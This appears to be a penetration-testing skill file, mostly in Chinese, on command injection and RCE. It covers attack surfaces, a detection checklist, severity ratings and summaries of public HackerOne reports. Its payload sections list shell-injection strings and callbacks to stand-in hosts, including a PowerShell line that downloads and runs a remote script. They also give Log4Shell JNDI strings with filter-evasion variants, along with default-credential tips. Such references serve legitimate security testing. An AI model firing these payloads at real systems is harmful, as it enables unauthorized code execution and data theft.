Pentest Command Injection

Command Injection Penetration Testing Patterns

当对 Web 应用进行命令注入和远程代码执行渗透测试时加载此 Skill。覆盖 OS 命令注入、反序列化、Log4Shell 等。

Attack Surface Discovery

高风险功能：

• 网络工具：ping、traceroute、nslookup、dig 等功能
• 文件转换/处理：PDF 生成、图片处理、视频转码
• CI/CD 管道：构建脚本、部署命令
• 包管理器集成：npm install、pip install
• 系统管理面板：服务重启、日志查看
• 打印/报表：调用系统命令生成报表
• 已知漏洞组件：Log4j、DotNetNuke、Apache Struts

识别信号：

• 响应中包含命令执行输出的格式（如 ping 结果）
• 输入参数疑似被拼接到系统命令中
• 应用使用已知存在 RCE 的框架/组件版本
• 管理面板使用默认凭证

Exploitation Techniques

Shell 元字符注入：

# 命令分隔符
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

# 换行符
%0awhoami
%0dwhoami

盲注检测：

# 时间盲注
; sleep 10
| ping -c 10 127.0.0.1
& timeout /t 10

# OOB 回调
; curl https://attacker.burpcollaborator.net
| nslookup attacker.burpcollaborator.net
; wget https://attacker.com/$(whoami)

反序列化攻击：

• Java：利用 ysoserial 生成 gadget chain payload
  • 常用 gadget：CommonsCollections1-7、Spring1-4、Hibernate1
  • 入口点：ObjectInputStream.readObject()、JSON 反序列化（Jackson enableDefaultTyping、Fastjson @type）
• .NET：DotNetNuke Cookie 反序列化（CVE-2017-9822）
  • 工具：ysoserial.net，常用 gadget：TypeConfuseDelegate、WindowsIdentity
• Python：pickle.loads() 执行任意代码
  • Payload：__reduce__ 方法返回 os.system 调用
• PHP：unserialize() + POP chain
  • 工具：PHPGGC 生成框架特定 gadget chain

SSTI（服务端模板注入）：

• 探测：{{7*7}}（Jinja2/Twig）、${7*7}（FreeMarker）、<%= 7*7 %>（ERB）
• 确认框架后使用对应 RCE payload
• 注意区分 SSTI 与 XSS（SSTI 在服务端执行，XSS 在客户端执行）

PowerShell 注入（Windows 环境）：

; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

Log4Shell / JNDI 注入：

${jndi:ldap://attacker.com/exploit}
${jndi:rmi://attacker.com/exploit}
# 绕过变体
${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}

利用链（默认凭证 → RCE）：

1. 发现管理面板使用默认凭证
2. 通过管理功能上传恶意文件/报表
3. 触发代码执行获得 RCE

绕过技巧：

• 空格绕过：{IFS}、$IFS$9、%09（Tab）
• 关键字绕过：w'h'o'a'm'i、wh$()oami、Base64 编码后解码执行
• 路径绕过：/usr/bin/id 替代 id
• 引号绕过：\、$@

Detection Checklist

• 识别所有可能调用系统命令的功能（网络工具、文件处理、系统管理）
• 注入 shell 元字符（;、|、&&）并附加 sleep 或 OOB 回调命令
• 检查应用使用的框架/组件版本是否存在已知 RCE（Log4j、Struts、DotNetNuke）
• 测试 JNDI 注入点（HTTP 头如 User-Agent、X-Forwarded-For 中注入 ${jndi:...}）
• 扫描管理面板默认凭证（admin/admin、admin/password）
• 检查反序列化入口（Java ObjectInputStream、.NET BinaryFormatter、Python pickle）
• 测试文件上传是否可上传可执行文件（JSP、PHP、ASPX）
• 尝试空格和关键字绕过技巧
• 验证 OOB 回调确认盲注（DNS/HTTP callback）
• 评估获得 RCE 后的横向移动可能性（云凭证、内网访问）

Impact Assessment

漏洞利用可达到的效果：

• 完全系统控制：执行任意命令，安装后门
• 数据窃取：读取数据库、文件系统中的所有敏感数据
• 横向移动：利用服务器凭证（AWS IAM、SSH 密钥）访问其他系统
• 挖矿/僵尸网络：利用服务器算力
• 供应链攻击：篡改 CI/CD 管道中的构建产物

严重度判断：

• Critical：未认证 RCE、可直接执行系统命令、影响面广（如 Log4Shell）
• High：需认证的 RCE、需要特定条件触发、利用链较短
• Medium：需要多步链式利用、受沙箱限制、影响范围有限

Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

Case 1: IBM — Middleware Authentication Bypass on IBM Portal

• 严重度: Critical | CWE: Command Injection - Generic
• 摘要: The vulnerability of middleware authentication bypass on the IBM Portal endpoint was reported, analyzed, and remediated. The discovery was reported by an external researcher.
• 报告: https://hackerone.com/reports/3088290

Case 2: MTN Group — Cisco IOS XE instance at ████ vulnerable to CVE-██████

• 严重度: Critical | CWE: Command Injection - Generic
• 摘要: A vulnerability was discovered in a Cisco IOS XE instance that allowed bypassing authentication to reach a web endpoint and execute arbitrary Cisco IOS commands or make configuration changes with Priv...
• 报告: https://hackerone.com/reports/2778350

Case 3: MTN Group — CVE-2017-9822 DotNetNuke Cookie Deserialization Remote Code Execution (RCE) on lonidoor.mtn.ci

• 严重度: Critical | CWE: Code Injection
• 摘要: The DotNetNuke (DNN) versions between 5.0.0 and 9.3.0 were affected by a deserialization vulnerability that could lead to remote code execution. The vulnerability was caused by the way DNN handled the...
• 报告: https://hackerone.com/reports/2762119

Case 4: MTN Group — Remote code injection in Log4j on https://mymtn.mtncongo.net - CVE-2021-44228

• 严重度: Critical | CWE: OS Command Injection
• 摘要: The website https://mymtn.mtncongo.net was vulnerable to remote code injection due to the CVE-2021-44228 vulnerability in the Log4j library. This critical vulnerability allowed for remote command exec...
• 报告: https://hackerone.com/reports/1425565

Case 5: MTN Group — Remote code injection in Log4j on http://mtn1app.mtncameroon.net - CVE-2021-44228

• 严重度: Critical | CWE: OS Command Injection
• 摘要: The vulnerability CVE-2021-44228, a remote code injection flaw in Log4j, was discovered on the website http://mtn1app.mtncameroon.net. The vulnerability was confirmed to be present on the ports 8080 a...
• 报告: https://hackerone.com/reports/1425563

Case 6: MTN Group — Remote code execution via crafted pentaho report uploaded using default credentials for pentaho business server

• 严重度: Critical | CWE: Code Injection
• 摘要: A remote code execution vulnerability was discovered in Pentaho Business Analytics Server. By uploading a specially crafted Pentaho report file using default credentials, an attacker could achieve arb...
• 报告: https://hackerone.com/reports/1677047

Case 7: Mozilla — Remote code execution and exfiltration of secret tokens by poisoning the mozilla/fxa CI build cache

• 严重度: Critical | CWE: Code Injection
• 摘要: Remote code execution and data exfiltration were possible by poisoning a cache used in a CI build process. A proof of concept demonstrated the ability to exfiltrate sensitive data by re-uploading a mo...
• 报告: https://hackerone.com/reports/2255750

Case 8: Trellix — Unauthenticated Path Traversal and Command Injection in Trellix Enterprise Security Manager 11.6.10

• 严重度: Critical | CWE: OS Command Injection
• 摘要: A critical vulnerability was identified in Trellix Enterprise Security Manager (ESM) version 11.6.10. The vulnerability allowed unauthenticated access to internal API endpoints through path traversal ...
• 报告: https://hackerone.com/reports/2817658

Case 9: U.S. Dept Of Defense — GlobalProtect - OS Command Injection #█████████

• 严重度: Critical | CWE: OS Command Injection
• 摘要: A command injection vulnerability was discovered in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations. This vulnerability...
• 报告: https://hackerone.com/reports/2468496

Case 10: U.S. Dept Of Defense — Remote Code Execution and AWS IAM Credentials Exfiltration in https://████████/

• 严重度: Critical | CWE: Command Injection - Generic
• 摘要: The host https://██████/ had a vulnerability in the /jenkins/script directory that allowed users to execute system commands on the host. This could have led to the disclosure of AWS IAM credentials, w...
• 报告: https://hackerone.com/reports/2083771